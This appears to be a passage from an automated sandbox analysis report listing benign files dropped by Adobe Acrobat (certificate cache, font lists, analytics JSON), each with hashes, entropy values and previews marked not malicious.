Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkl4Cxl/tfllXlE/HT8kgNNX8RolJuRdxLlGB9lQRYwpDdt:kKhqeT8TNMa8RdWBwRd
MD5:	506342D94C4038ADDB5F45CD42AC8096
SHA1:	1AF66EEF6257760DE19C93F26B7491D47EEE8185
SHA-256:	02EE9A894BCEC698FEFABF52283D5A114902DA4908359678105C8973E4C1AC1A
SHA-512:	A1BAF10678E9917653F67AA49D03AC1B38CC2DEDA37C6AAEA1D431FD737851149605F83D6A5F3866B2AF5BF67E8107BD4A25B1E4A6021FD36E4DD6D6703AF23D
Malicious:	false
Preview:	p...... .........g...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6352

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6352

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.335153570303621
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrdaR+FIbRI6XVW7+0Y8BoEeoAvJM3g98kUwPeUkwRe9:YvXKXU0YpW7xBZVGMbLUkee9
MD5:	901E4749651229F8EA78379B0246A262
SHA1:	5C97BEB705BE0D0780BE9FD8FC53F26727A7267D
SHA-256:	35A87D506C7EE49E985FDA93E77043E5E85E2A11AA75014B52000FE49364779F
SHA-512:	92916A2722664CE85924D528575720CC35A90F4ACB4FCA94D0F2A5EA36E5CAFF232C3BB898047F604C4C4F5C4882C1E51CAFCDA9FB5AA73A03CBA36D08C26A3D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3887e05a-c2ec-4849-8e5a-855fe3b67e50","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719882686,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.270373128985884
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrdaR+FIbRI6XVW7+0Y8BoEeoAvJfBoTfXpnrPeUkwRe9:YvXKXU0YpW7xBZVGWTfXcUkee9
MD5:	37F81D504140750CBB33F6D6726CEAFA
SHA1:	ADC614326526AAB1FB53EE78E7CB064961124593
SHA-256:	9536B97F6E12440FDE6020719DE5A4513E1B7B51DF2B484CE57FFEB920836775
SHA-512:	0692178FE4E0A300F13DACF3C8156A1FD97C30EB807ACEA3DB477B754567A310F7597AEEBA6593E4D39AEE75C3B68713279C2D4E53B7FAAA120827D703252D8A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3887e05a-c2ec-4849-8e5a-855fe3b67e50","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719882686,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.249698051824478
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrdaR+FIbRI6XVW7+0Y8BoEeoAvJfBD2G6UpnrPeUkwRe9:YvXKXU0YpW7xBZVGR22cUkee9
MD5:	08898B24E363DA77C9D778271D21129B
SHA1:	82331796AFA3F363853D8673B1608E2DB584C1F9
SHA-256:	618E8E45D7D161A87F61C3217178BFFBED496046A98D5BC19B806090ED322157
SHA-512:	6EE94B2C0AF53CD9304D94BE0F0367B2FF504143B76F144D6B49251A38DADEEFA5FCD516B147888FA54A5ECD3BD7BCA212E85E03C4AFD08013732CF488EA2C1F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3887e05a-c2ec-4849-8e5a-855fe3b67e50","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719882686,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.313056629851817
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrdaR+FIbRI6XVW7+0Y8BoEeoAvJfPmwrPeUkwRe9:YvXKXU0YpW7xBZVGH56Ukee9
MD5:	1CD9F73399E99614CB2606140316C772
SHA1:	80F91CFEB8B1A5F212F24B276B0E20971F74FB55
SHA-256:	B61A66CD8669991225D569AC50592DC1E8022175A8B950E57AAC09BD9ED36D53
SHA-512:	B6AC66FB4941505A65E6894AE89DA2A1D507DB5E005CED62CD5ECAFC8A5F56D68AA7461E7E5D7C3D248240E85A59E9B865B7891EB564F9B1069A599F8879B85D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3887e05a-c2ec-4849-8e5a-855fe3b67e50","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719882686,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690830479211084
Encrypted:	false
SSDEEP:	24:Yv6XiixqpLgE9cQx8LennAvzBvkn0RCmK8czOCCSH:Yvyxqhgy6SAFv5Ah8cv/H
MD5:	FC5B180024E94C4E85FC2623B9F9D727
SHA1:	7A3E876A0E3BB6F442AAA4AA094D508D99F05686
SHA-256:	C1175747971B26DF4FAA3DACB516A82973611FBEE0C52C03B57C47F24756A505
SHA-512:	E86CE6AF6DF3BC9769B4B39DA0AB3C7039AD96E21F8E3ECE2EC7FFB998AAEA618A648A95B330C3D386F4F6F0787CAB9A03116EFC74644D104845A36577939FD4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3887e05a-c2ec-4849-8e5a-855fe3b67e50","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719882686,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2577486369166975
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrdaR+FIbRI6XVW7+0Y8BoEeoAvJf8dPeUkwRe9:YvXKXU0YpW7xBZVGU8Ukee9
MD5:	2F57CEF4B498BBD3611B09A37FC4FC24
SHA1:	36953ED4A2BE87492CA29705F5EBF1E64879FCFA
SHA-256:	526B71AB3DABE0EFA7F1DAF3401031E39312655EE87A0EC67B908F3AAF9E747B
SHA-512:	B89D2CDEA63591D2401B44050D433D5CCFE43391D638E5ABAB341F39EA6EFF04934FBB880CDC0DE799D6149B4A7D82765D56C68BA9997A7C56A6790C22F0A1E0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3887e05a-c2ec-4849-8e5a-855fe3b67e50","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719882686,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.258374200147458
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrdaR+FIbRI6XVW7+0Y8BoEeoAvJfQ1rPeUkwRe9:YvXKXU0YpW7xBZVGY16Ukee9
MD5:	97CE20397C8C34C81989E9F7ED2932F8
SHA1:	E08939713017AEDC862D6A81195F5BC623ED50E4
SHA-256:	3110DF9B3492B4E4C2748536433B0EC8DB592C070647BBFF2C6ABCC9A274392D
SHA-512:	CA18C2D781FF21E7B0EF0D4A0C4450BD914FF90300033DF87687AD1948E557A967B9F4961119D14657A489E2322B5044FCE9E5F9AF1E2EF0C308C01FF8899099
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3887e05a-c2ec-4849-8e5a-855fe3b67e50","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719882686,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.280532208326209
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrdaR+FIbRI6XVW7+0Y8BoEeoAvJfFldPeUkwRe9:YvXKXU0YpW7xBZVGz8Ukee9
MD5:	CCDFFD99C5E3608A982D5BE7B357C4F0
SHA1:	499E51BE04C05FE2E29C64CEB6EE89916A3799A7
SHA-256:	B21B13AF3F00B2D8E221C7E10B29D47AFBEACBAB9513ADC3C973EB2889B5D93E
SHA-512:	4860ECFFBB742E67F2433BD97098608571D8A9601A987A76810B7C40CB9594BE334D610AFA7EF02A242721935CC422AA08ABD12D50AD1DA43884186059F0251B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3887e05a-c2ec-4849-8e5a-855fe3b67e50","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719882686,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.285000447322133
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrdaR+FIbRI6XVW7+0Y8BoEeoAvJfzdPeUkwRe9:YvXKXU0YpW7xBZVGb8Ukee9
MD5:	3F0F3C59329748A656AB9117D738362F
SHA1:	509271748D2617F36E252B93E212BECC0E13C504
SHA-256:	CFCEEC846B0045EB00094942ED0922D8BDD01D5A837298567071F1E6E74E76C8
SHA-512:	CDCAB8CC2329E123878A1B13D9C463CEF5C61569CB8F0DFE1FCE1A162928F2BB6638DE24EBF809E02FEA79567A3B34BE83702BEABBDC6CEF1DD31BA6C1ABBD9B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3887e05a-c2ec-4849-8e5a-855fe3b67e50","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719882686,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.264930767806619
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrdaR+FIbRI6XVW7+0Y8BoEeoAvJfYdPeUkwRe9:YvXKXU0YpW7xBZVGg8Ukee9
MD5:	8A7E9F8A2DE7B55441D87BC10D0DB226
SHA1:	78AB88B2A350A4E7A401CA4B64C3F9419C078C8E
SHA-256:	488C8CB8E155724C1151CF5FD3931A85659C933765045FD1B6E2D91F134601B9
SHA-512:	CA259F0288070540ED079EB7CA5506F106629E5456DA00F7A48B01532721B0B27FECC9C6D7B97DC9BC7437E30F776D2FA434B165D8C81B27F14A07DC627DD531
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3887e05a-c2ec-4849-8e5a-855fe3b67e50","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719882686,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.251466667102677
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrdaR+FIbRI6XVW7+0Y8BoEeoAvJf+dPeUkwRe9:YvXKXU0YpW7xBZVG28Ukee9
MD5:	E946936322DB736025E6E82AC08AAEC3
SHA1:	3BE2F7BA08DA45E29A850248F617E344A4010BEA
SHA-256:	5A1B1C2D53AB27434C77BF0EA67B643711DC320294EF9092BD779CE1C0ACE469
SHA-512:	3A153F8B30BF71E6E10C400550179335AF2FE22CB9C011678922B908396A374624AAC11393F116C6954A28A31C94C645C0A53997A36F04B8F0307C5626D66AB2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3887e05a-c2ec-4849-8e5a-855fe3b67e50","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719882686,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.248718891131296
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrdaR+FIbRI6XVW7+0Y8BoEeoAvJfbPtdPeUkwRe9:YvXKXU0YpW7xBZVGDV8Ukee9
MD5:	24A0CEEEC3E17F50D4A67D024F92B91F
SHA1:	9B96D4CDCD7EC8A5FCE38ACB732FD8D6832FA0B8
SHA-256:	6033C12E9FC91ABCA7971507F8E47E1494A1F8ECBE39A27D63D34E51954BABBE
SHA-512:	CDC8B31483C9FC65F671F7E21B38D7766CBF004C18DB8AB4BC85DB4BDAB4F1719611B08F3BDDDB39DBE58F6B26F87B9E16B86BD456ECF3DB025F18D16840820A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3887e05a-c2ec-4849-8e5a-855fe3b67e50","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719882686,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.249906699870506
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrdaR+FIbRI6XVW7+0Y8BoEeoAvJf21rPeUkwRe9:YvXKXU0YpW7xBZVG+16Ukee9
MD5:	3965AC5FD65291562D94DFA8DF53BB8D
SHA1:	AD91EB56FB53F3D0A9EFCF4094A0841CAECAE4BD
SHA-256:	9FC478F57694F6C8D2501928293958DCFBCDD734344DF9952041EA33FE7AE7FA
